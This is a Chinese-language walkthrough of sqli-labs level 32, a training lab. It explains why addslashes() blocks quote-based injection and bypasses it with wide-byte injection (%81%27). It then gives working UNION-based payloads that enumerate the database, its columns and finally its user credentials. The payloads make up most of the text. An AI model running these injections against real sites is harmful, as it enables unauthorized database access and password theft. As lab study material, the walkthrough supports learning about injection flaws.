Bootstrap

sqli-labs第32关

第32关为宽字节注入

SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效

addslashes()转义字符是 PHP 中用于转义字符串中的特殊字符的函数之一。它会在指定的预定义字符(单引号、双引号、反斜线和 NUL 字符)前面添加反斜杠,以防止这些字符被误解为代码注入或其他意外操作。

在此关会发现'、"等字符前面会有斜杠,导致无法判断是单引号注入还是双引号注入等,即不会报错,如

id=2'时

id=2"时

故要绕过,进行宽字节注入,使得单引号、双引号、括号等变得有意义,一般需要ASCII大于128就可以,也就是说在'等符号前,加上ascii大于128的十六进制数,比如129十六进制为0x81,我们需要在'、"、)等符号面前加上%81就行,(0x改成%)

?id=2%81%27

这样才会出现报错信息,发现为单引号注入,进行闭合

判断字段数

?id=2%81%27order%20by%204--+

得出数据库

?id=0%81%27union%20select%201,2,3--+

?id=0%81%27union%20select%201,2,database()--+

 得出表名

?id=-1%90%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27%75%73%65%72%73%27--+

得出列名

此时发现%81'users%81'不起作用

尝试将’users'换成url编码

结果不起作用,试试将users换成16进制编码

发现不显示列名

好家伙,直接users转换成十六进制0x7573657273就行,不需要将'users'或者"users"转换成十六进制0x27757365727327或者0x22757365727322,否则就出现我上面的情况,信息正常但是不显示列名

?id=0%81%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+

然后就是一样的方法,显示用户名,密码。

;